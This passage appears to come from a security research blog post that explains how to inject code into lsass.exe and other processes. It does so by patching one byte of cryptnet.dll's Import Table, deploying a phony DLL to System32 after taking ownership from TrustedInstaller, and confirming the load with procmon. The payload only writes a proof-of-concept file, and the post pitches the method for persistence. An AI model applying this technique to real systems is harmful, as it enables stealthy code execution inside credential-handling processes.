So now our api-ms-win-core-debug-l1-1-0.dll became api-ms-win-code-debug-l1-1-0.dll.
Let's confirm the Import Table change in PEView:
Now, let's fire up our favorite software development tool and create api-ms-win-code-debug-l1-1-0.dll with our arbitrary code.
Using a very simple demo, grabbing the current module name (the executable that loaded the DLL) and its command line, appending it into a txt file directly on C: (so by default only high integrity/SYSTEM processes will succeed):
One thing, though - in order for the GetModuleFileNameA() function from the psapi library (psapi.h) to properly link after compilation, -lpsapi needs to be added to the linker parameters:
Code can be copied from here https://github.com/ewilded/api-ms-win-code-debug-l1-1-0/blob/master/dllmain.c.
OK, compile. Now, notice we used one export, called OutputFebugString (instead of OutputDebugString). This is because the linker would complain about the name conflict with the original OutputDebugString function that will get resolved anyway through other dependencies.
But since I wanted to have the Export Table in the api-ms-win-code-debug-l1-1-0.dll to match the entry from the cryptnet.dll Import Table, I edited it with HxD as well:
After:
Normally we might want to test the DLL with rundll32.exe (but I am going to skip this part). Also, be careful when using VisualStudio, as it might produce an executable that by default will be x86 (and not x64) and for sure will produce an executable requiring visual C++ redistributables (even for a basic hello world-class application like this), while we might want to create portable code that will actually run on the target system.
We are expecting the lsass.exe process (and any other process that imports anything from cryptnet.dll) to load its tampered (by one byte!) version from its original location in spite of its digital signature being no longer valid (but again, lsass.exe and cryptnet.dll are just examples here).
We are also expecting that, once loaded, cryptnet.dll will resolve its own dependencies, including our phony api-ms-win-code-debug-l1-1-0.dll, which in turn, upon load (DllMain() execution) will execute our arbitrary code from within lsass.exe process (as well as from any other process that loads it, separately) and append our C:\poc.txt file with its image path and command line to prove successful injection into that process.
OK, now we just need to deploy our version of cryptnet.dll (with the one Import Table entry hijacked with our phony api-ms-win-code-debug-l1-1-0.dll) along with our phony api-ms-win-code-debug-l1-1-0.dll itself into C:\Windows\System32\.
For this, obviously, we need elevated privileges (high integrity administrator/SYSTEM).
Even then, however, in this case we will face two problems (both specific to C:\Windows\System32\cryptnet.dll).
The first one is that C:\Windows\System32\cryptnet.dll is owned by TrustedInstaller and we (assuming we are not TrustedInstaller) do not have write/full control permissions for this file:
The easiest way to overcome this is to change the file ownership and then grant privileges:
The second problem we will most likely encounter is that the C:\Windows\System32\cryptnet.dll file is currently in use (loaded by multiple processes).
The easiest workaround for this is to first rename the currently used file:
Then deploy the new one (with hijacked Import Table), named the same as the original one (cryptnet.dll).
Below screenshot shows both new files deployed after having the original one renamed:
Now, for diagnostics, let's set up procmon by using its cool feature - boot logging. Its driver will log events from the early stage of the system start process, instead of waiting for us to log in and run it manually. That boot log itself is, by the way, a great read:
Once we click Enable Boot Logging, we should see the following prompt:
We simply click OK.
Now, REBOOT!
And let's check the results.
This looks encouraging:
Oh yeah:
Let's run procmon to filter through the boot log. Upon running we should be asked for saving and loading the boot log, we click Yes:
Now, the previous filter (Process name is lsass.exe and Operation is Load Image) confirms that our phony DLL was loaded right after cryptnet.dll:
One more filter adjustment:
To once more confirm that this happened:
DLL side loading exploitation
This approach is a neat and reliable way of creating "proxy" DLLs out of the original ones (that differ by no more than one byte). Then we only might need to proxy one or few functions, instead of worrying about proxying all/most of them.
Persistence
Introducing injection/persistence of our own code into our favorite program's/service's EXE/DLL.
All with easy creation of the phony DLL (just write in C) and a simple byte replacement in an existing file, no asm required.